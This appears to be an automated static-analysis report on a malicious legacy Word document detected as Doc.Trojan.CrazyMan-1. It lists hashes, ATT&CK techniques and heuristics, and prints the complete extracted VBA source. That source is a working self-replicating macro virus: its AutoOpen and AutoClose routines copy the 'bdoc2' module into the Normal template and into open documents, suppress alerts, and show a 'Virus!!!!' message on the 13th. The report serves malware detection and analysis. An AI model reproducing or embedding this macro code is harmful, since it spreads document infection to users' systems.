Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 34ce7d3e58197442…

MALICIOUS

Office (OLE)

38.0 KB Created: 2006-02-22 12:31:00 Authoring application: Microsoft Word 9.0 First seen: 2012-10-10
MD5: 8e67b66c66e23b5910a873db09315434 SHA-1: 5fef34c50e1cb7028e3f1fc5700638fcc3450df9 SHA-256: 34ce7d3e58197442cda54a6b3ea7a756878c98ee4767a928885be5c163f31d6b
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample contains legacy WordBasic auto-execution markers and VBA macros, including AutoOpen and AutoClose functions. The AutoOpen macro attempts to export and import a VBA component named 'bdoc2' to the Normal template and the active document, potentially for persistence or further execution. The ClamAV detection 'Doc.Trojan.CrazyMan-1' strongly suggests malicious intent.

Heuristics 5

  • ClamAV: Doc.Trojan.CrazyMan-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.CrazyMan-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2592 bytes
SHA-256: a5ef9cbccb2f655d4ba90c68a3feb934d2d1ef1900de76a99a55e1cc6154a392
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "bdoc2"
Sub AutoOpen()
On Error Resume Next
For i = 1 To NormalTemplate.VBProject.VBComponents.Count
    If NormalTemplate.VBProject.VBComponents(i).Name = "bdoc2" Then NormInstall = True
Next i
For i = 1 To ActiveDocument.VBProject.VBComponents.Count
    If ActiveDocument.VBProject.VBComponents(i).Name = "bdoc2" Then ActivInstall = True
Next i
If ActivInstall = True And NormInstall = True Then GoTo Label_Exit
If ActivInstall = True And NormInstall = False Then Set Doc = ActiveDocument
If ActivInstall = False And NormInstall = True Then Set Doc = NormalTemplate
Doc.VBProject.VBComponents("bdoc2").Export ("c:\bdoc2.txt")

If ActiveInstall = True And NormInstall = False Then
NormalTemplate.VBProject.VBComponents.Import ("c:\bdoc2.txt")
NormalTemplate.Save
Else
Dname = ActiveDocument.FullName
If Left$(Dname, 8) = "Document" Then GoTo Label_Exit
ActiveDocument.VBProject.VBComponents.Import ("c:\bdoc2.txt")
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
End If

Label_Exit:
CommandBars("Tools").Enabled = True
Application.ScreenUpdating = True
Application.DisplayAlerts = wdAlertsAll
Application.EnableCancelKey = wdCancelInterrupt
End Sub
Sub AutoClose()
On Error Resume Next
Application.DisplayAlerts = wdAlertsNone
For i = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(i).Name = "bdoc2" Then NormInstall = True
Next i
For i = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(i).Name = "bdoc2" Then ActiveInstall = True
Next i
If ActiveInstall = True And NormInstall = True Then GoTo Label_Exit
If ActiveInstall = True And NormInstall = False Then
NormalTemplate.VBProject.VBComponents.Import ("c:\bdoc2.txt")
NormalTemplate.Save
Else
Dname = ActiveDocument.FullName
ActiveDocument.VBProject.VBComponents.Import ("c:\bdoc2.txt")
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
End If
Label_Exit:
End Sub

Public Sub AutoExec()
On Error Resume Next
CommandBars("Tools").Enabled = True
Application.DisplayAlerts = wdAlertsNone
End Sub
Sub AutoExit()
On Error Resume Next
If Day(Now) = 13 Then MsgBox "Virus!!!!", vbCritical
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.